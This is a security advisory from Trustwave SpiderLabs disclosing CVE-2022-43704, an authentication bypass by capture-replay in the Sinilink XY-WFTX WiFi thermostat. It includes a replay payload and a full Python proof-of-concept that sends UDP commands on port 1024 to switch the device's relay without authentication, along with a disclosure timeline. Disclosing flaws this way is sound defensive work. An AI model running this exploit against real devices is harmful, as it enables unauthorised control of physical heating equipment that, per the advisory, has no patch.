Trustwave SpiderLabs Security Advisory TWSL2023-001: Sinilink Wifi Remote Thermostat - Endpoint/Authentication Bypass by Capture-replay Published: 01/12/2023 Version: 1.0 Vendor: Sinilink (www.sinilink.com) Product: Sinilink XY-WFTX Wifi Remote Thermostat Module Temperature Controller (https://www.aliexpress.com/item/1005004131771314.html?spm=a2g0o.order_detail.0.0.7874f19cKdT6UZ) Version affected: Firmware V1.3.6 Product description: WIFI Remote Thermostat High Precision Temperature Controller Module Finding 1. Channel Accessible by Non-Endpoint *****Credit: Victor Hanna of Trustwave CVE: CVE-2022-43704 CWE-294: Authentication Bypass by Capture-replay CWE-300: Channel Accessible by Non-Endpoint - The Sinilink WiFi Remote Thermostat, running firmware V1.3.6, allows for an attacker to bypass the intended requirement to communicate using MQTT but instead it is possible to replay sinilink protocol (udp/1024) commands interfacing directly with the target device. This in turn allows for an attack to control the onboard relay without requiring authentiation via the mobile application. - The target device is required to be in 'Manual Mode' with 'Power On, Close' as a pre-requisite. Sending the following payload over UDP/1024 (Sinilink Protocol) switches on the relay without the need to utilise MQTT or Authentication via the mobile application Payload --- PROWT4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]} PoC Code used to send a payload --- #!/usr/local/bin/python3 # Author: Victor Hanna (SpiderLabs) # Sinilink WiFi Remote Thermostat # CWE-300: Channel Accessible by Non-Endpoint import requests import re import urllib.parse from colorama import init from colorama import Fore, Back, Style import sys import os import time import socket import time from datetime import datetime from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) # Banner Function def banner(): print ("[+]********************************************************************************[+]") print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "SpiderLabs" +Style.RESET_ALL+"]\t\t\t\t\t |") print ("| Description: Sinilink WiFi Remote Thermostat |") print ("| Usage : "+sys.argv[0]+" |") print ("[+]********************************************************************************[+]") def retrieve_device_info(): SinilinkMsgFromClient = "SINILINK521" host = str(sys.argv[1]) try: bytesToSend = str.encode(SinilinkMsgFromClient) serverAddressPort = (""+host, 1024) bufferSize = 1024 print (Fore.GREEN + "[+] Retrieving Device Information ..." + Style.RESET_ALL) UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM) UDPClientSocket.sendto(bytesToSend, serverAddressPort) time.sleep(5) msgFromServer = UDPClientSocket.recvfrom(bufferSize) msg = "Message from Server {}".format(msgFromServer[0]) MAC = msg[30:47] dt = msg[56:66] converted = datetime.fromtimestamp(int(dt)).strftime("%A, %B %d, %Y %I:%M:%S") temp = msg[84:88] degree = msg[90:91] relay_value = msg[76:77] print (Fore.CYAN + f" --> MAC Address: {MAC}" + Style.RESET_ALL) print (Fore.CYAN + f" --> Time Stamp: {converted}" + Style.RESET_ALL) print (Fore.CYAN + f" --> Current Temperature Reading: {temp}{degree}" + Style.RESET_ALL) if (relay_value == "1"): print (Fore.CYAN + f" --> Relay State: Open" + Style.RESET_ALL) else: print (Fore.CYAN + f" --> Relay State: Closed" + Style.RESET_ALL) except: print ("Unsuccessful") def send_payload(): try: epoch_time = str(int(time.time())) msgFromClient = 'PROWT4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]}' bytesToSend = str.encode(msgFromClient) serverAddressPort = (""+host, 1024) bufferSize = 1024 print (Fore.GREEN + "[+] Sending Payload ..." + Style.RESET_ALL) time.sleep(5) UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM) UDPClientSocket.sendto(bytesToSend, serverAddressPort) time.sleep(15) # UDPClientSocket.close() except: print ("Unsuccesful") # Main Function def main(): os.system('clear') banner() retrieve_device_info() send_payload() retrieve_device_info() if __name__ == "__main__": if len(sys.argv)>1: host = sys.argv[1] main() else: print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL) Remediation Steps: No patch currently exists for this issue. - Adequately verify the identity of entities at each end of the communication channel. Inadequate or inconsistent verification may result in insufficient or incorrect identification of either communicating entity. This can have negative consequences such as misplaced trust in the entity at the other end of the channel. An attacker can leverage this by interposing between the communicating entities and masquerading as the original entity. In the absence of sufficient verification of identity, such an attacker can eavesdrop and potentially modify the communication between the original entities. Revision History: 09/07/2022 - Disclosed to internal advisory team 09/07/2022 - Initial email to vendor 09/20/2022 - 2nd attempt to contact vendor 09/21/2022 - Initial response from vendor 09/28/2022 - Disclosed finding to vendor 10/07/2022 - 1st attempt at followup with vendor 10/14/2022 - 2nd attempt at followup with vendor 10/24/2022 - Reserved CVE-2022-43704 10/28/2022 - 3rd attempt at followup with vendor 11/11/2022 - Final at followup with vendor 01/12/2023 - Advisory published About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.